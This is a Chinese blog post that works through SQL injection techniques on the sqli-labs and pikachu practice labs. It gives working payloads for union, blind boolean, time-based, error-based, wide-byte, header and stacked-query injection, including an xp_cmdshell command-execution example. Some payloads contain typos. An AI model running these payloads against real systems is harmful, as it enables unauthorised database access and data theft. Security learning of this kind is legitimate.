发布时间:2022-08-19 12:24
通过几年对网络安全的学习,我总结了一些sql注入漏洞的知识和技巧,在这儿分享给大家,如果有问题还请给位前辈大佬多多指点,希望我总结的知识对大家有用。
version() 数据库版本
database() 数据库名
table_name 表名
column_name 字段名
判断字段个数。
例:order by 3;
联合查询,合并多个select语句并查询两个表中共同都有的字段。
例:union select 1,2,3;
通过union select爆库可知数据库名为security。
返回字符串长度。
例:length(database())>1 ;
left(a,b)从左侧截取a的前b位,正确则返回1。
例:left(database(),1)='s';
regexp为匹配的正则表达式。
例:select database() regexp 's';
匹配与regexp相似。
例:select database() like 's%';
substr(a,b,c)从位置b开始,截取a字符串c位长度。
例:select substr((select database()),1,1)='s';
将某个字符串转化为ascii值。
例:select ascii(substr((select database()),1,1))<200;
判断数据库名第一个字母的ascii码是否小于200,如果小于200,就会返回1,否则返回0。
函数是返回第一个字符的ascii码值。
例:select ord(substr(database(),1,1))<200;
判断数据库名第一个字母返回的ascii码是否小于200,如果小于200,就会返回1,否则返回0。
用于得到字符串的一部分。
例:select ord(mid(database(),1,1))<200;
常用的判断语句。
例:if((select length(database()))>3,1,0)
执行sleep(x)函数让语句多运行x秒。
例:if(ascii(substr((select database()),1,1))<200,sleep(5),1)
判断数据库名的第一个字母的ascii码是否小于200,如果小于延迟5秒加载
将两个字符串组成一个字符串。
例:select concat(users,passwd....)
列出所有表明
?id=1' //报错
?id=1 or 1=1
?id=1 and 1=2
?id=-1' union select 1,2,database()--+
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
sql-lab less-1演示
找到注入点
判断字段个数
2,3位可显
爆库名库名为security
从schema库中列出所有表的名字在3处显示
从schema库中列出所有字段的名字在3处显示
xxx' //报错
xxx' or '1'='1'--+
xxx' and '1=1--+'
?name=-' union select 1,database()--+
?name=-' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
?name=-' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+
pikachu字符型注入演示
找到注入点
判断字段个数
1,2位可显
爆库名库名为pikachu
从schema库中列出所有表的名字在2处显示
从schema库中列出所有字段的名字在2处显示
id=1' //报错
id=1"
id=1)'
id=1' or 1=1#
?id=1' and left(database(),8)='security'--+
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))>0--+
sql-lab less-8演示
判断数据库名
判断数据库中第一个表的长度,更改limit可以更换表
判断第一个表,名的第一个字母更改limit得出表明emails
判断emails表中第一列名的长度
判断emails表第一列名的第一位的ascii值
1’and sleep(5)--+
1 and sleep(5)--+
1' and if(ascii(substr(database(),1,1))>0,sleep(5),1)--+
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>1,sleep(5),1)--+
1'and if(ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1))=1,sleep(5),1) #
sql-lab less-9演示
判断数据库名长度
判断数据库名
后面和布尔注入预计基本一致,时间注入更改语句通过时间判断,纯手工不用脚本太费事了,可以使用python脚本.
id=1' //报错
id=1"
id=1)'
id=1' or 1=1#
1'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
1'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
1'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
1'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
sql-lab less-5演示
使用updatexml函数,updatexml函数为更改xml文件内容函数,0x7e不符合updatexml函数规定所以报错
爆表
爆字段
爆数据
1.通过updatexml
id=1' and (select updatexml(1,concat(0x7e,(select database())),0x7e))
2.通过geometrycollection语句
id=1' and geometrycollection((select * from(select * from (select user())a)b))
3.通过exp语句
id=1' and exp(~(select from (select user() ) a));
4.通过polygon语句
id=1' and polygon((select from (select from (select user())a)b));
5.通过NAME_CONST报错:
id=1' and exists(select from (select from(select name_const(version(),0)a join (select name_const(version(),0))b)c);
6.通过extractvalue报错:
id=1' or extractvalue (1, concat(0x5c,(select user()))) or'
7.通过floor()报错:
id=1' (select conut(),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x)
当使用正常过滤方式报错后,有/说明id='1\''单引号被转义了,
我们可以利用宽字节来”吃掉反斜杠”
数据1%df' or 1=1--+ 输入会变成1�\' or 1#,导致单引号注入成功
pikachu宽字符注入演示
发现注入点,使用%df注掉/再进行sql注入
使用联合查询进行注入,与前面相似
使用burpsuite,http header live等软件进行抓包。
在referer,cookie,XFF等位置输入sql语句进行尝试sql注入。
pikachu http header注入演示
代理位置存在sql注入漏洞,在’后输入sql语句注入
使用;分割语句
Mysql
select * from users where id=1;create table test like users;
Sqlserver
select * from test;select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
Oracle 不支持
Postgresql 支持